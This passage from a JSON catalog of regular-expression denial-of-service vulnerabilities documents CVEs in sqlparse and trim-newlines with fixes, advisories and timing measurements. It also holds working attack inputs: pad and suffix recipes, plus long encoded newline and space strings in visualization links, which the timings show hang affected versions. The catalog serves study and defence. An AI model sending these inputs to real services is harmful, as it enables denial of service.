%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!","verification":{"engine":"node v22.23.1","benign_ms":0.24,"curve":[{"input_length":2501,"pumps":2500,"ms":17.49,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":67.9,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":270.74,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":1080.42,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"sqlparse-CVE-2021-32839","name":"python-sqlparse (StripComments)","type":"cve","cve":"CVE-2021-32839","ghsa":"GHSA-p5w8-wqhj-9hhf","cwe":"CWE-1333","ecosystem":"pypi","engine":"python","package":"sqlparse","affected":">=0.4.0 <0.4.2","patched":"0.4.2","published":"2021-09-20","discovered_by":"GitHub Security Lab (GHSL-2021-107)","regex":"((\\r\\n|\\r|\\n)+) *$","flags":"","complexity":"exponential","attack":{"prefix":"","pad":"\r\n","suffix":"\t"},"benign":"\r\n\r\n  ","fix":{"type":"regex-rewrite","summary":"The `_get_insert_token` helper of the StripComments filter used `((\\r\\n|\\r|\\n)+) *$` to preserve trailing line breaks when removing a comment. The inner alternation lets a run of CRLF be split two ways (`\\r\\n` as one token, or `\\r` then `\\n`), so a long run of CRLF followed by a non-space, non-newline character (which fails the trailing ` *$`) forces exponential backtracking. The fix drops the redundant `\\r\\n` alternative, leaving `((\\r|\\n)+) *$`, which matches the same line-break runs unambiguously.","patched_regex":"((\\r|\\n)+) *$","commit":"https://github.com/andialbrecht/sqlparse/commit/8238a9e"},"description":"sqlparse is a widely used non-validating SQL parser for Python. When `sqlparse.format(sql, strip_comments=True)` (or the `sqlformat --strip-comments` CLI) removes a comment, it runs this regex over the comment text to preserve trailing newlines. A SQL comment whose body is a long run of CRLF pairs followed by a tab triggers catastrophic backtracking, letting an attacker who controls formatted SQL hang the process.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-32839","https://github.com/advisories/GHSA-p5w8-wqhj-9hhf","https://securitylab.github.com/advisories/GHSL-2021-107-andialbrecht-sqlparse/","https://github.com/andialbrecht/sqlparse/commit/8238a9e"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=((%5Cr%5Cn%7C%5Cr%7C%5Cn)%2B)%20*%24&in=%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%09","verification":{"engine":"python 3.12.3","benign_ms":0.03,"curve":[{"input_length":29,"pumps":14,"ms":12.53,"timed_out":false},{"input_length":37,"pumps":18,"ms":196.88,"timed_out":false},{"input_length":45,"pumps":22,"ms":null,"timed_out":true}],"empirical_class":"exponential","class_agrees":true}},{"id":"trim-newlines-CVE-2021-33623","name":"trim-newlines","type":"cve","cve":"CVE-2021-33623","ghsa":"GHSA-7p7h-4mm5-852v","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"trim-newlines","affected":"<3.0.1 || >=4.0.0 <4.0.1","patched":"3.0.1","published":"2021-05-31","discovered_by":"Yeting Li","regex":"[\\r\\n]+$","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":"\n","suffix":"!"},"benign":"hello world\n\n","fix":{"type":"algorithm-change","summary":"The `.end`/default trailing trim used `string.replace(/[\\r\\n]+$/, '')`. The end-anchored `[\\r\\n]+$` re-scans a long run of newline characters from every start position when the final character is not a newline, so the `$` never matches after the run: O(n^2). trim-newlines 3.0.1 (and 4.0.1) replaced the trailing regex with a plain character-scan loop that walks backwards over `\\r`/`\\n`, making the trim linear.","commit":"https://github.com/sindresorhus/trim-newlines/commit/25246c6ce5eea1c82d448998733a6302a4350d91"},"description":"trim-newlines strips leading/trailing newlines from a string and is a widely-used transitive dependency (e.g. via meow, which backs a large number of CLI tools). Its trailing-trim regex `[\\r\\n]+$` backtracks quadratically on a long run of newline characters that ends in a non-newline character, since the end anchor fails after the greedy run at every start offset.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-33623","https://github.com/advisories/GHSA-7p7h-4mm5-852v","https://github.com/sindresorhus/trim-newlines/commit/25246c6ce5eea1c82d448998733a6302a4350d91"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5B%5Cr%5Cn%5D%2B%24&in=%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0